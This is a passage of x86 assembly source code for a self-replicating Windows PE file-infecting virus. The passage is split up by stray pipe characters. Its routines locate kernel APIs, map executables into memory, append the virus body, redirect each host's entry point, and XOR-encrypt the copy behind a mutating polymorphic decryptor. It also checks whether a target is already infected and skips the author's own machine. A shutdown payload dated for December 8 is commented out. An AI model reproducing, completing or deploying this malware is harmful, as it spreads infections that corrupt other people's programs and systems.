||
|
@GET_API_ADDRESS SetFileAttributesA
|
||
|
@GET_API_ADDRESS SetFileTime
|
||
|
@GET_API_ADDRESS UnmapViewOfFile
|
||
|
|
||
|
;Load USER32.DLL
|
||
|
push ebx ;Save address of GetProcAddress(...)
|
||
|
|
||
|
mov eax, esi ;Delta Offset
|
||
|
add eax, offset szUser32DLL ;Name of DLL to be loaded
|
||
|
call esi + LoadLibraryA, eax
|
||
|
mov ecx, eax ;Base address of USER32.DLL
|
||
|
|
||
|
pop ebx ;Restore address of GetProcAddress(...)
|
||
|
|
||
|
;Get addresses of all required USER32 API's
|
||
|
;ESI = Delta Offset
|
||
|
;EBX = Address of GetProcAddress(...)
|
||
|
;ECX = Image Base of USER32.DLL
|
||
|
|
||
|
@GET_API_ADDRESS ExitWindowsEx
|
||
|
IF DEBUG
|
||
|
@GET_API_ADDRESS MessageBoxA
|
||
|
ENDIF
|
||
|
|
||
|
End_GetAPIAddresses:
|
||
|
ret
|
||
|
GetAPIAddresses ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | GetAddressOfKernelAPI | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> Finds the address of GetProcAddress or VxDCall API in KERNEL32.DLL. The
|
||
|
; VxDCall API is exported by ordinal only, and the GetProcAddress is
|
||
|
; exported by name.
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> EDX: offset of the program <---- NOT USED ANYMORE ???
|
||
|
; -> gaoka_wAPIName: If 0, the address of VxDCall is Returned. Else, the address
|
||
|
; of GetProcAddress is returned.
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> EAX: Address of the Required API if Found, Else NULL
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;______________________________
|
||
|
GetAddressOfKernelAPI PROC gaoka_wAPIName:WORD
|
||
|
LOCAL lpdwAddressOfFunctions:DWORD, \
|
||
|
lpdwAddressOfNames:DWORD, \
|
||
|
lpwAddressOfNameOrdinals: WORD, \
|
||
|
dwVAIED:DWORD
|
||
|
|
||
|
;Get File Headers
|
||
|
call GetFileHeaders, dwKernelBase
|
||
|
test eax, eax ;Successfully Retreived Headers?
|
||
|
je End_GetAddressOfKernelAPI ;No, probably Windows NT / 2000
|
||
|
mov [dwVAIED], edx
|
||
|
mov esi, dwKernelBase
|
||
|
|
||
|
;Get Address of Functions
|
||
|
mov ecx, [dwVAIED]
|
||
|
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfFunctions
|
||
|
add eax, esi ;VA of Address of functions
|
||
|
mov dword ptr [lpdwAddressOfFunctions], eax
|
||
|
|
||
|
;Check which API is Required
|
||
|
cmp [gaoka_wAPIName], 0 ;Return Address of VxDCall or GetProcAddress ?
|
||
|
jne GetProcAddressRequired ;GetProcAddress
|
||
|
|
||
|
;Get Address of VxDCall API (Ordinal 1)
|
||
|
xor eax, eax
|
||
|
inc eax ;Ordinal Reqd = 1
|
||
|
sub eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base ;Index In Array
|
||
|
jmp GetAddressFromIndex
|
||
|
|
||
|
GetProcAddressRequired:
|
||
|
;Get Address of Names
|
||
|
mov ecx, [dwVAIED]
|
||
|
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames
|
||
|
add eax, esi ;VA of Address of Names
|
||
|
mov dword ptr [lpdwAddressOfNames], eax
|
||
|
|
||
|
;Get Address of Name ordinals
|
||
|
mov ecx, [dwVAIED]
|
||
|
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNameOrdinals
|
||
|
add eax, esi ;VA of Add of Name Ordinals
|
||
|
mov dword ptr [lpwAddressOfNameOrdinals], eax
|
||
|
|
||
|
;Find the API index in the AddressOfNames array
|
||
|
push esi ;Save the base address of KERNEL32
|
||
|
mov eax, esi ;Also save in EAX
|
||
|
xor ebx, ebx
|
||
|
dec ebx ;Initialize Index to -1
|
||
|
mov edx, dword ptr [lpdwAddressOfNames]
|
||
|
|
||
|
@OFFSET esi, szGetProcAddress ;API to be found
|
||
|
mov ecx, esi ;Save address in ECX
|
||
|
|
||
|
CheckNextAPI:
|
||
|
inc ebx ;increment index
|
||
|
mov edi, dword ptr [edx + ebx*4] ;go the the ebx'th index
|
||
|
add edi, eax ;get the VA from the RVA
|
||
|
mov esi, ecx ;get address stored previously
|
||
|
|
||
|
CheckNextByte:
|
||
|
cmpsb ;Check Byte
|
||
|
jne CheckNextAPI ;byte did not match, Incorrect API, Check Next One
|
||
|
cmp byte ptr [edi], 0 ;Have we reached the end-of-string
|
||
|
je FoundAPI ;Yes? We've found the API
|
||
|
jmp CheckNextByte ;No, Check the next byte
|
||
|
|
||
|
FoundAPI:
|
||
|
;EBX contains the index of the function into the array
|
||
|
pop esi ;Get the base address of KERNEL32
|
||
|
|
||
|
;Compute the Index
|
||
|
mov ecx, ebx
|
||
|
mov edx, dword ptr [lpwAddressOfNameOrdinals]
|
||
|
movzx eax, word ptr [edx + ecx*2] ;Index
|
||
|
|
||
|
;Get the Address (EAX = Index, ESI = Kernel32 Base)
|
||
|
GetAddressFromIndex:
|
||
|
mov ebx, [lpdwAddressOfFunctions]
|
||
|
mov eax, dword ptr [ebx + eax*4] ;RVA of the API
|
||
|
add eax, esi ;VA of the API
|
||
|
|
||
|
End_GetAddressOfKernelAPI:
|
||
|
ret
|
||
|
GetAddressOfKernelAPI ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | OpenAndMapFile | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> Opens a file from disk, and maps it into memory. The function also
|
||
|
; saves the file modified time and file attributes before opening the
|
||
|
; file. These are later restored by UnmapAndCloseFile
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> DWORD oamf_szFileName: Pointer to ASCIIZ name of file to be mapped
|
||
|
; -> DWORD oamf_dwAddBytes: Number of bytes by which to increase the file size
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> EAX: Starting address of memory where the file has been mapped, or 0
|
||
|
; if an error occured
|
||
|
; -> ECX: Original File Size
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;_______________________________________________________________
|
||
|
OpenAndMapFile PROC oamf_szFileName:DWORD, oamf_dwAddBytes:DWORD
|
||
|
@DELTA esi
|
||
|
|
||
|
;Save File Attributes, and Clear all attributes
|
||
|
call esi + GetFileAttributesA, oamf_szFileName
|
||
|
mov [esi + dwFileAttributes], eax ;Save File Attributes
|
||
|
call esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL
|
||
|
test eax, eax ;File Attributes Set ?
|
||
|
je End_OpenAndMapFile ;No, Return 0
|
||
|
|
||
|
;Open the file in R/W mode
|
||
|
call esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \
|
||
|
FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL
|
||
|
cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
|
||
|
je Error_OpenAndMapFile_Create ;No
|
||
|
mov [esi + hHostFile], eax ;Yes, Save handle of host file
|
||
|
|
||
|
;Get and Store File Time
|
||
|
lea ebx, [esi + ftLastAccessTime]
|
||
|
lea ecx, [esi + ftLastWriteTime]
|
||
|
call esi + GetFileTime, eax, NULL, ebx, ecx
|
||
|
|
||
|
;Compute the new file size
|
||
|
call esi + GetFileSize, [esi + hHostFile], NULL
|
||
|
add eax, [oamf_dwAddBytes] ;Compute New File Size
|
||
|
|
||
|
;Map the file
|
||
|
call esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \
|
||
|
0, eax, NULL
|
||
|
test eax, eax ;File Mapping Created
|
||
|
jz Error_OpenAndMapFile_Mapping ;No
|
||
|
mov [esi + hMappedFile], eax ;Yes, Save Handle
|
||
|
|
||
|
;Map View of the File
|
||
|
call esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
|
||
|
mov [esi + lpHostFile], eax ;Have to save Mapped Address
|
||
|
test eax, eax ;File Mapped Successfully ?
|
||
|
jnz End_OpenAndMapFile ;Yes
|
||
|
|
||
|
;Error Occured, Close Files, and Restore Attributes
|
||
|
call esi + CloseHandle, [esi + hMappedFile] ;Failed, Close File Mapping
|
||
|
|
||
|
Error_OpenAndMapFile_Mapping:
|
||
|
call esi + CloseHandle, [esi + hHostFile] ;Failed, Close the File
|
||
|
|
||
|
Error_OpenAndMapFile_Create:
|
||
|
call esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes]
|
||
|
xor eax, eax ;Error, Return 0
|
||
|
|
||
|
End_OpenAndMapFile:
|
||
|
ret
|
||
|
OpenAndMapFile ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | UnmapAndCloseFile | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> Unmaps the open file and closes the handles associated with it. It
|
||
|
; also restores the original file attributes and file time.
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> uacf_szFilename: Name of the file that is being unmapped. This is
|
||
|
; used only to restore the file attributes
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> None
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;_____________________
|
||
|
UnmapAndCloseFile PROC uacf_szFilename:DWORD
|
||
|
;Unmap File
|
||
|
@DELTA esi
|
||
|
call esi + UnmapViewOfFile, [esi + lpHostFile] ;Unmap the File
|
||
|
call esi + CloseHandle, [esi + hMappedFile] ;Close File Mapping
|
||
|
|
||
|
;Restore File Time
|
||
|
lea eax, [esi + ftLastAccessTime]
|
||
|
lea ebx, [esi + ftLastWriteTime]
|
||
|
call esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx
|
||
|
|
||
|
;Close File
|
||
|
call esi + CloseHandle, [esi + hHostFile] ;Close the File
|
||
|
|
||
|
;Restore File Attributes
|
||
|
call esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes]
|
||
|
|
||
|
ret
|
||
|
UnmapAndCloseFile ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | InfectFile | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> Infects the host file with our virus
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> DWORD if_szFileName: Address of the file to be infected
|
||
|
; -> DWORD if_dwIncFileSize: Size by which the section is 2B increased (Bytes)
|
||
|
; -> DWORD if_dwIncSecSize: Size by which the file is 2B increased (Bytes)
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> EAX: 1 if Infected, 0 on Error
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;__________________________________
|
||
|
InfectFile PROC if_szFileName:DWORD
|
||
|
LOCAL lpdwLastSection:DWORD, \
|
||
|
dwVirusBegin:DWORD, \
|
||
|
dwNewEntryRVA:DWORD, \
|
||
|
dwJumpBytes:DWORD, \
|
||
|
dwIOH:DWORD, \
|
||
|
dwIncFileSize:DWORD, \
|
||
|
dwIncSecSize:DWORD, \
|
||
|
dwDeltaOffset:DWORD
|
||
|
|
||
|
@DELTA esi
|
||
|
mov [dwDeltaOffset], esi ;Save Delta Offset
|
||
|
|
||
|
;Check if the file can be infected, or not
|
||
|
call CanFileBeInfected, if_szFileName
|
||
|
test eax, eax ;Can it be infected
|
||
|
jz End_InfectFile ;No
|
||
|
mov [dwIncFileSize], ebx ;Save Increase in File Size
|
||
|
mov [dwIncSecSize], ecx ;Save Increase in Section Size
|
||
|
|
||
|
;Map Host File into Memory
|
||
|
call OpenAndMapFile, if_szFileName, dwIncFileSize
|
||
|
test eax, eax ;File Opened and Mapped Successfully
|
||
|
jz End_InfectFile ;No, Return Code = 0
|
||
|
mov esi, [dwDeltaOffset]
|
||
|
mov [esi + lpHostFile], eax ;Save staring address of file
|
||
|
|
||
|
;Get File Headers
|
||
|
call GetFileHeaders, eax ;This should not fail, since its already...
|
||
|
mov [dwIOH], ebx ;...called once in CanFileBeInfected
|
||
|
mov [lpdwLastSection], ecx
|
||
|
|
||
|
;Calculate the Starting of Virus Code in File
|
||
|
mov eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData
|
||
|
add eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData
|
||
|
mov [dwVirusBegin], eax ;RVA of New Entry Point in File
|
||
|
|
||
|
;Calculate RVA of New Entry Point
|
||
|
mov ebx, [lpdwLastSection]
|
||
|
sub eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData
|
||
|
add eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress
|
||
|
mov [dwNewEntryRVA], eax
|
||
|
|
||
|
;Calculate Bytes of JMP Instruction
|
||
|
add eax, offset ReturnToHost - offset StartOfVirusCode
|
||
|
mov ebx, [dwIOH]
|
||
|
sub eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint
|
||
|
add eax, 4
|
||
|
not eax
|
||
|
mov [dwJumpBytes], eax ;Save Bytes
|
||
|
|
||
|
;Append the Virus to the host
|
||
|
mov esi, offset StartOfVirusCode ;Copy Virus from Here...
|
||
|
add esi, [dwDeltaOffset] ;since StartOfVirusCode will vary after infection
|
||
|
mov edi, [dwVirusBegin] ;...to here
|
||
|
mov ebx, [dwDeltaOffset]
|
||
|
add edi, [ebx + lpHostFile] ;true location to copy to
|
||
|
mov ecx, VIRUS_SIZE
|
||
|
rep movsb
|
||
|
|
||
|
;Write New Jump Instruction in File
|
||
|
;Offset in File where operand to JMP instruction is to be put
|
||
|
mov ebx, offset ReturnToHost + 1 - offset StartOfVirusCode
|
||
|
add ebx, [dwVirusBegin] ;True offset in file
|
||
|
mov esi, [dwDeltaOffset]
|
||
|
add ebx, [esi + lpHostFile] ;Correct offset in Memory Mapped File
|
||
|
mov ecx, [dwJumpBytes] ;Get operand for jmp instruction
|
||
|
mov [ebx], ecx ;Put it in the file
|
||
|
|
||
|
;Update the Last Section Header
|
||
|
mov eax, [lpdwLastSection]
|
||
|
mov ebx, [dwIncSecSize]
|
||
|
mov ecx, [dwIncFileSize]
|
||
|
add (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx
|
||
|
add (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
|
||
|
or (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE
|
||
|
|
||
|
;Fix VirtualSize (if Required) for files like TRACERT.EXE)
|
||
|
mov ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData
|
||
|
cmp (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Virtual Size Wrong
|
||
|
jge VirtualSizeFine ;No, Fix Not Required
|
||
|
mov (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Yes, Fix it
|
||
|
|
||
|
VirtualSizeFine:
|
||
|
|
||
|
;Update the PE Header (Image Size)
|
||
|
mov ebx, [dwIOH] ;Address of Image Optional Header
|
||
|
add (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx
|
||
|
|
||
|
;Update the PE Header (Entry RVA)
|
||
|
mov ecx, [dwNewEntryRVA] ;Get New Entry RVA
|
||
|
mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx
|
||
|
|
||
|
;Update the Win32VersionValue field. This is used as a Virus Signature
|
||
|
mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
|
||
|
|
||
|
;Encrypt the file, and Close it
|
||
|
mov ebx, [dwDeltaOffset]
|
||
|
mov edi, [ebx + lpHostFile] ;Staring address of Host File
|
||
|
add edi, [dwVirusBegin] ;Address of virus in file
|
||
|
call EncryptVirus
|
||
|
|
||
|
call UnmapAndCloseFile, if_szFileName
|
||
|
xor eax, eax
|
||
|
inc eax ;All OK, Return Code 1
|
||
|
|
||
|
End_InfectFile:
|
||
|
ret
|
||
|
InfectFile ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | EncryptVirus | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> Encrypts the Virus Code with a random byte, and mutates the decryptor,
|
||
|
; making the virus Encrypted & Polymorphic
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> EDI: Starting address of Virus in Memory Mapped File
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> None
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All except EDI
|
||
|
;________________
|
||
|
EncryptVirus PROC
|
||
|
push edi ;Save starting address of virus code
|
||
|
|
||
|
;Get Encryption Key, to be used for encrypting/decrypting
|
||
|
;@DELTA esi
|
||
|
;call esi + GetTickCount ;Get random number in EAX (AL)
|
||
|
|
||
|
in al, 40h ;Get random encryption key
|
||
|
IF DEBUG
|
||
|
xor al, al ;Don't encrypt in Debug Mode
|
||
|
ENDIF
|
||
|
|
||
|
mov ecx, ENCRYPTED_SIZE
|
||
|
add edi, LOADER_SIZE ;Don't enrypt the loader !!
|
||
|
EncryptByte:
|
||
|
xor byte ptr [edi], al ;al = Encryption Key
|
||
|
inc edi
|
||
|
loop EncryptByte
|
||
|
|
||
|
pop edi ;restore starting address of virus code
|
||
|
|
||
|
;Update the Encryption Key in the decryptor
|
||
|
mov byte ptr [edi + EncryptionKey - StartOfVirusCode], al
|
||
|
|
||
|
;Mutate the Decryptor
|
||
|
call MutateDecryptor
|
||
|
|
||
|
ret
|
||
|
EncryptVirus ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | StringLength | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> Returns the length of the string
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> DWORD sl_lpszString: Address of the string
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> EAX: Length of the string
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> EAX, ECX, EDI
|
||
|
;____________________________________
|
||
|
StringLength PROC sl_lpszString:DWORD
|
||
|
mov edi, sl_lpszString ;string whose length is required
|
||
|
xor ecx, ecx
|
||
|
dec ecx ;ecx = -1, search till infinity
|
||
|
xor eax, eax ;search for NULL character
|
||
|
repne scasb ;Find the terminating NULL
|
||
|
not ecx
|
||
|
dec ecx ;length of string
|
||
|
mov eax, ecx ;return length of string
|
||
|
ret
|
||
|
StringLength ENDP
|
||
|
;****************************************************************************
|
||
|
; TimerProc
|
||
|
;****************************************************************************
|
||
|
; Description
|
||
|
; -> This function is called when the Time-out value for the Timer Expires.
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> tp_hwnd: Handle of the window
|
||
|
; tp_uMsg: WM_TIMER
|
||
|
; tp_idEvent: ID of the timer
|
||
|
; tp_dwTimer: Value of GetTickCount()
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> None
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;_____________________________________________________________________________
|
||
|
;TimerProc PROC tp_hwnd:DWORD, tp_uMsg:DWORD, tp_idEvent:DWORD, tp_dwTime:DWORD
|
||
|
; LOCAL dwDeltaOffset:DWORD, \
|
||
|
; dwFileNumber:DWORD, \
|
||
|
; stTime:SYSTEMTIME
|
||
|
; pushad ;must save, since this is a CALLBACK fn
|
||
|
; @DELTA esi
|
||
|
; mov [dwDeltaOffset], esi
|
||
|
;
|
||
|
;Check if Date is 8th December
|
||
|
; lea eax, stTime
|
||
|
; call esi + GetLocalTime, eax
|
||
|
; cmp stTime.ST_wMonth, 12 ;is Month = December
|
||
|
; jne Not_8_December ;No
|
||
|
; cmp stTime.ST_wDay, 8 ;Yes. Is Day = 8th
|
||
|
; jne Not_8_December ;No
|
||
|
;
|
||
|
;Deliever Payload since date is 8th December
|
||
|
; call PayLoad
|
||
|
;
|
||
|
;Not_8_December:
|
||
|
;
|
||
|
;Lock System if Windows has been running for a long time
|
||
|
; ;cmp tp_dwTime, MAX_RUN_TIME ;Is Windows Up-time > 2 hours
|
||
|
; ;jle NoLockWindows ;No
|
||
|
; ;DB 0F0h ;Yes, use F00F Bug to hang / lock System
|
||
|
; ;DB 0Fh
|
||
|
; ;DB 0C7h
|
||
|
; ;DB 0C8h
|
||
|
;
|
||
|
;NoLockWindows:
|
||
|
;
|
||
|
;
|
||
|
;End_TimerElapsed:
|
||
|
; popad ;restore state
|
||
|
; ret
|
||
|
;TimerProc ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | CanFileBeInfected | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> This function checks if a file can be infected or not. It checks the
|
||
|
; following:
|
||
|
; 1. File must be an EXE
|
||
|
; 2. File must be a PE
|
||
|
; 3. It must not be a DLL
|
||
|
; 4. File must not be infected by our virus
|
||
|
; 5. It must not be a Winzip Self-Extractor File
|
||
|
;
|
||
|
; If all the above conditions are met, this function returns the size, in
|
||
|
; bytes, by which the file and section must be increased when the file is
|
||
|
; infected.
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> DWORD cfbe_szFileName: ASCIIZ Name of the file to check
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> EAX: 1 if the file can be infected, 0 Otherwise
|
||
|
; -> EBX: Bytes by which the file size must be increased if it is infected
|
||
|
; -> ECX: Bytes by which the last section size must be increased if it is infected
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;___________________________________________
|
||
|
CanFileBeInfected PROC cfbe_szFileName:DWORD
|
||
|
;Map File, without increasing the File Size
|
||
|
call OpenAndMapFile, cfbe_szFileName, 0
|
||
|
test eax, eax ;File Opened & Mapped Successfully
|
||
|
jz End_CanFileBeInfected ;No, Return with Error Code = 0
|
||
|
|
||
|
;Get File Headers
|
||
|
call GetFileHeaders, eax
|
||
|
test eax, eax ;Successfully retreived file headers
|
||
|
je End_CanFileBeInfected ;No, probably not a PE file
|
||
|
|
||
|
;Check if file is infected. We use the Win32VersionValue for storing our signature
|
||
|
cmp (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
|
||
|
jz Error_CanFileBeInfected ;File is already infected
|
||
|
|
||
|
;Check if file is a DLL
|
||
|
test (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL
|
||
|
jnz Error_CanFileBeInfected ;Yes
|
||
|
|
||
|
;Check if last section is sharable
|
||
|
;mov edx, (IMAGE_SECTION_HEADER [ecx]).ISH_Characteristics
|
||
|
;and edx, IMAGE_SCN_MEM_SHARED ;Is Section Sharable
|
||
|
;jnz Error_CanFileBeInfected ;Yes, don't infect
|
||
|
|
||
|
;Don't infect Winzip Self-Extractor Files.
|
||
|
;The last section of this file has the name _winzip_. Note that Winzip
|
||
|
;Self-Extrator Personal Edition Files will still be infected, since they
|
||
|
;don't have this section
|
||
|
cmp dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, "niw_" ;"_win" ?
|
||
|
je Error_CanFileBeInfected ;Yes, dont infect
|
||
|
|
||
|
;OK, File can be infected, Great !!, ;-)
|
||
|
mov eax, ebx ;Image Optional Header
|
||
|
mov ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment
|
||
|
mov ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment
|
||
|
|
||
|
;Calculate Increase in Section size
|
||
|
;INC_SEC_SIZE = [(VIRUS_SIZE - 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN
|
||
|
mov eax, VIRUS_SIZE - 1
|
||
|
add eax, ecx ;Add Section Alignment
|
||
|
xor edx, edx ;We need to divide only EAX
|
||
|
div ecx ;Divide by SECTION_ALIGN
|
||
|
mul ecx ;Multiply by SECTION_ALIGN
|
||
|
push eax ;Save Increase in Section Size
|
||
|
|
||
|
;Calculate Increase in File Size
|
||
|
;INC_FILE_SIZE = (INC_SEC_SIZE - 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN
|
||
|
;mov eax, VIRUS_SIZE;**NEW LINE
|
||
|
;dec eax ;INC_SEC_SIZE - 1
|
||
|
mov eax, VIRUS_SIZE - 1
|
||
|
add eax, ebx ;Add File Alignment, FILE_ALIGN
|
||
|
div ebx ;Divide by FILE_ALIGN
|
||
|
mul ebx ;Multiply by FILE_ALIGN
|
||
|
push eax ;Save Increase in File Size
|
||
|
|
||
|
;Close the file, and return relevant values
|
||
|
call UnmapAndCloseFile, cfbe_szFileName
|
||
|
pop ebx ;Get Increase in File Size
|
||
|
pop ecx ;Get Increase in Section Size
|
||
|
xor eax, eax
|
||
|
inc eax ;Return Code 1
|
||
|
jmp End_CanFileBeInfected
|
||
|
|
||
|
Error_CanFileBeInfected:
|
||
|
call UnmapAndCloseFile, cfbe_szFileName
|
||
|
xor eax, eax ;Return Code 0
|
||
|
|
||
|
End_CanFileBeInfected:
|
||
|
ret
|
||
|
CanFileBeInfected ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | PayLoad | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> This function is called on the 8th of December. It delievers the Payload
|
||
|
; of the virus.
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> None.
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> None.
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;___________
|
||
|
;PayLoad PROC
|
||
|
; @DELTA esi
|
||
|
; ;call ExitWindowsEx, EWX_FORCE OR EWX_SHUTDOWN, NULL
|
||
|
; call esi + ExitWindowsEx, EWX_SHUTDOWN, NULL
|
||
|
; ret
|
||
|
;PayLoad ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | CanMachineBeInfected | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> This function is called to check if the virus should infect this machine
|
||
|
; or not. This is used, so that the virus doesn't infect My Machine !!
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> None.
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> EAX: 0 -> machine should not be infected, else it can be infected
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;________________________
|
||
|
CanMachineBeInfected PROC
|
||
|
@DELTA esi
|
||
|
|
||
|
;Check if the "No Infect" file exists on the current machine
|
||
|
mov eax, esi
|
||
|
add eax, offset szNoInfectFileName
|
||
|
call esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \
|
||
|
OPEN_EXISTING, NULL, NULL
|
||
|
cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
|
||
|
je End_CanMachineBeInfected ;No, so machine can be infected
|
||
|
|
||
|
;Close the file, and return 0, since its probably my machine
|
||
|
call esi + CloseHandle, eax
|
||
|
xor eax, eax ;return 0, so that machine is not infected
|
||
|
|
||
|
End_CanMachineBeInfected:
|
||
|
ret
|
||
|
CanMachineBeInfected ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | RelocateVirus | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> This function allocates memory in the Shared area and copies the Virus
|
||
|
; to that area.
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> None.
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> EAX: Base address of Memory where the Virus was copied, or NULL if an
|
||
|
; error occured.
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;_________________
|
||
|
RelocateVirus PROC
|
||
|
LOCAL dwDeltaOffset:DWORD, \
|
||
|
dwMemoryRegion:DWORD
|
||
|
|
||
|
@DELTA esi
|
||
|
mov [dwDeltaOffset], esi
|
||
|
|
||
|
;Reserve Shared Memory
|
||
|
@DELTA esi
|
||
|
call esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \
|
||
|
PC_WRITEABLE OR PC_USER
|
||
|
cmp eax, INVALID_HANDLE_VALUE ;Memory Allocate Successfully?
|
||
|
je Error_RelocateVirus ;No
|
||
|
cmp eax, SHARED_MEMORY ;Shared memory Allocated?
